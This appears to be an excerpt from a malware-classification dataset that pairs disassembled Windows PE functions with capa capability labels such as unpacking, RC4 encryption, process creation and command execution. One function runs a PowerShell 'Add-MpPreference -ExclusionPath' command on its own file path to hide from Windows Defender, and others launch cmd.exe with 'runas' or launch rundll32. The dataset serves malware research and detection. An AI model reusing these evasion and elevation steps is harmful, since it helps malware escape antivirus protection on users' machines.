joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400060d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000611a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000611a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000611a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000611a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000611a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000611c
xor al, al
add rsp, 0x28
ret

Function at 0x14078c058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14078c1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14078c089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14078c06f
add dl, dl
jne 0x14078c096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14078c0f6
xor eax, eax
add dl, dl
jne 0x14078c0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14078c1ad
add dl, dl
jne 0x14078c0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14078c0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14078c0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14078c0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14078c0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14078c07e
mov eax, 1
add dl, dl
jne 0x14078c106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14078c113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14078c0fb
sub eax, ebx
mov ebx, 1
jne 0x14078c14c
mov ecx, 1
add dl, dl
jne 0x14078c12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14078c13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14078c123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14078c07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14078c168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14078c175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14078c15d
cmp eax, 0x7d00
jae 0x14078c19b
cmp eax, 0x500
jb 0x14078c196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14078c07e
cmp eax, 0x7f
ja 0x14078c19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14078c07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14078c1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14078c07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400011c0
Capabilities:
Create process on windows
Terminate process

Disassembly:
sub rsp, 0x38
call fcn.140001710
mov r8, rax
mov dword [rsp + 0x28], 5
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x140001200
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400013ae
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xor eax, eax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
lea ecx, [rax + 0x40]
call fcn.140001ce0
mov rbx, rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], 0x36
mov qword [rsp + 0x50], 0x3f
movups xmm0, xmmword [str.powershell__Command__Add_MpPreference__ExclusionPath_]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140003438]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140003448]
movups xmmword [rax + 0x20], xmm0
mov eax, dword [0x140003458]
mov dword [rbx + 0x30], eax
movzx eax, word [0x14000345c]
mov word [rbx + 0x34], ax
mov byte [rbx + 0x36], 0
lea rax, [rsp + 0x60]
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400012b4
cmp rdi, 9
ja 0x1400012e4
lea rax, [rdi + 0x36]
mov qword [rsp + 0x48], rax
mov r8, rdi
lea rdx, [rsp + 0x60]
lea rcx, [rbx + 0x36]
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi + 0x36], 0
jmp 0x1400012fb
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x60]
mov rdx, rdi
lea rcx, [rsp + 0x38]
call fcn.140001ab0
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x140001336
lea rax, [rcx + 2]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x38]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x38]
mov word [rax + rcx], 0x2227
mov byte [rax + rcx + 2], 0
jmp 0x140001355
mov qword [rsp + 0x20], 2
lea r9, [0x140003460]
mov edx, 2
lea rcx, [rsp + 0x38]
call fcn.140001ab0
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0xf
cmova rcx, qword [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x1400013ae
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400013a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001d1c
nop
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140001cc0
mov rbx, qword [rsp + 0x190]
add rsp, 0x180
pop rdi
ret
Function at 0x140002640
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000268a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000268a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.MSVCP140.dll___Xlength_error_std__YAXPEBD_Z
jne 0x14000268a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000268a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000268a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000268c
xor al, al
add rsp, 0x28
ret

Function at 0x140cf8058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140cf81df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140cf8089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140cf806f
add dl, dl
jne 0x140cf8096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140cf80f6
xor eax, eax
add dl, dl
jne 0x140cf80a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140cf81ad
add dl, dl
jne 0x140cf80b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cf80c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cf80d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cf80dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140cf80ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140cf807e
mov eax, 1
add dl, dl
jne 0x140cf8106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cf8113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140cf80fb
sub eax, ebx
mov ebx, 1
jne 0x140cf814c
mov ecx, 1
add dl, dl
jne 0x140cf812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140cf813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140cf8123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140cf807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140cf8168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140cf8175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140cf815d
cmp eax, 0x7d00
jae 0x140cf819b
cmp eax, 0x500
jb 0x140cf8196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140cf807e
cmp eax, 0x7f
ja 0x140cf819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140cf807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140cf81d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140cf807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400044e0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400044f0]
mov dword [rax], 1
mov rax, qword [0x140004500]
mov dword [rax], 1
mov rax, qword [0x1400044d0]
mov dword [rax], 1
mov rax, qword [0x1400043a0]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x1400044c0]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x1400010c0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140004480]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140004460]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140004350]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067

Function at 0x140001550
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
call dbg.__main
lea rax, str.C:Program_FilesGoogleChromeApplicationchrome.exe
mov qword [rbp - 8], rax
lea rax, str.__apphttps:__www.google.com
mov qword [rbp - 0x10], rax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8, rax
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x140001890
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x140001900
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x1400070a4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140001ab0
mov rax, qword [0x1400070a8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14000194c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400019d7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x140001930
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x140001b0d
mov rax, qword [0x1400070a8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400070a8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001af2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400019d0
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001a60
add dword [0x1400070a4], 1
cmp ebx, 8
jae 0x140001a08
test bl, 4
jne 0x140001ac0
test ebx, ebx
je 0x1400019f9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x140001ae0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x1400019f9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x140001a3a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x1400070a8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400019d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
xor edi, edi
jmp 0x140001957
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x1400019f9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x1400019f9
mov rax, qword [0x1400070a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop dword [rax]
Function at 0x140002020
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140007100]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140002074
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000206b
test r12, r12
je 0x14000206b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002050
lea rcx, [0x140007100]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400022a0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x1400022b0
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x1400022c0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x140002305
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x1400022fc
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x140002307
add rax, 0x28
cmp rax, r9
jne 0x1400022e8
xor eax, eax
ret

Function at 0x1400023b0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x1400043a0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x140002429
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140002429
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x140002426
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x14000241d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x140002429
add r8, 0x28
cmp r8, r9
jne 0x140002408
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x140002510
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1400043a0]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14000257f
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x14000257f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x14000257d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002574
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002588
add rax, 0x28
cmp rax, r9
jne 0x140002560
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x1400025a0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x1400043a0]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x140002618
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140002618
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x140002618
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x140002618
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x14000260c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x140002620
add rdx, 0x28
cmp rdx, r10
jne 0x1400025f8
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x140002630
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x14000263e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002615
test r8d, r8d
jg 0x140002628
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0xb3f9a0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0xb3f9ad
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0xb3f9bd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0xb3f9a5
lea eax, [rcx + 1]
jmp 0xb3f9cb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0xb3f9de
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0xb3f9c4
sub eax, 3
jb 0xb3f9fe
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0xb3fa4d
sar eax, 1
movsxd rbp, eax
jb 0xb3fa34
jmp 0xb3fa0c
add ebx, ebx
jne 0xb3fa0a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xb3fa34
inc ecx
add ebx, ebx
jne 0xb3fa1a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xb3fa34
call r11
adc ecx, ecx
add ebx, ebx
jne 0xb3fa2d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0xb3fa1c
add ecx, 2
jmp 0xb3fa39
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.00b3f962
jmp 0xb3f9ad
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xb4a00
mov dl, 0xe
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0xb3fa99
cmp rsi, rcx
jae 0xb3faa1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0xb3fa80
cmp al, 0x8f
ja 0xb3fa80
cmp byte [rsi - 2], 0xf
je 0xb3fa86
sub al, 0xe8
cmp al, 1
ja 0xb3fa6a
cmp rsi, rcx
jae 0xb3faa1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0xb3fa70
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0xb3faa1
lodsb al, byte [rsi]
jmp 0xb3fa80
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x73c000]
mov eax, dword [rdi]
or eax, eax
je 0xb3fafe
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x7585a4]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0xb3faae
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0xb3faf8
mov qword [rbx], rax
add rbx, 8
jmp 0xb3face
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.00b3fb81], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.00b3fb81
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0xb3fb71
sub rsp, 0xffffffffffffff80
jmp 0x4014b0
Function at 0x140001000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x150
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0xffffffffffffffff
inc qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
cmp word [rax + rcx*2], 0
jne 0x140001043
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x50]
mov rdx, rax
mov rcx, qword [rsp + 0x178]
call fcn.140001190
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x28], 0
mov byte [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
jmp 0x1400010a0
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x170]
cmp qword [rsp + 0x30], rax
jae 0x140001177
mov eax, dword [rsp + 0x24]
inc eax
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 0x24], eax
movsxd rax, dword [rsp + 0x24]
movzx eax, byte [rsp + rax + 0x50]
mov ecx, dword [rsp + 0x28]
add ecx, eax
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 0x28], eax
movsxd rax, dword [rsp + 0x28]
lea rax, [rsp + rax + 0x50]
movsxd rcx, dword [rsp + 0x24]
lea rcx, [rsp + rcx + 0x50]
mov rdx, rax
call fcn.140001280
movsxd rax, dword [rsp + 0x24]
movzx eax, byte [rsp + rax + 0x50]
movsxd rcx, dword [rsp + 0x28]
movzx ecx, byte [rsp + rcx + 0x50]
add eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
cdqe
movzx eax, byte [rsp + rax + 0x50]
mov byte [rsp + 0x20], al
movzx eax, byte [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x168]
add rdx, rcx
mov rcx, rdx
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x160]
add rdx, rcx
mov rcx, rdx
mov byte [rcx], al
jmp 0x140001093
xor eax, eax
add rsp, 0x150
pop rdi
ret

Function at 0x1400012c0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x260
lea rax, section..data
mov qword [rsp + 0x38], rax
lea rax, str.C:WindowsSystem32_rundll32.exe
mov qword [rsp + 0x30], rax
lea rax, [0x140003088]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov r9, qword [rsp + 0x270]
mov r8, qword [rsp + 0x30]
lea rdx, str._k___ws___ws__d_
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
add rsp, 0x260
pop rdi
ret
Function at 0x140001360
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x250
lea rax, str.C:WindowsSystem32cmd.exe
mov qword [rsp + 0x30], rax
lea rax, str.runas
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov r8, qword [rsp + 0x260]
lea rdx, str._k___ws_
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_wsprintfW]
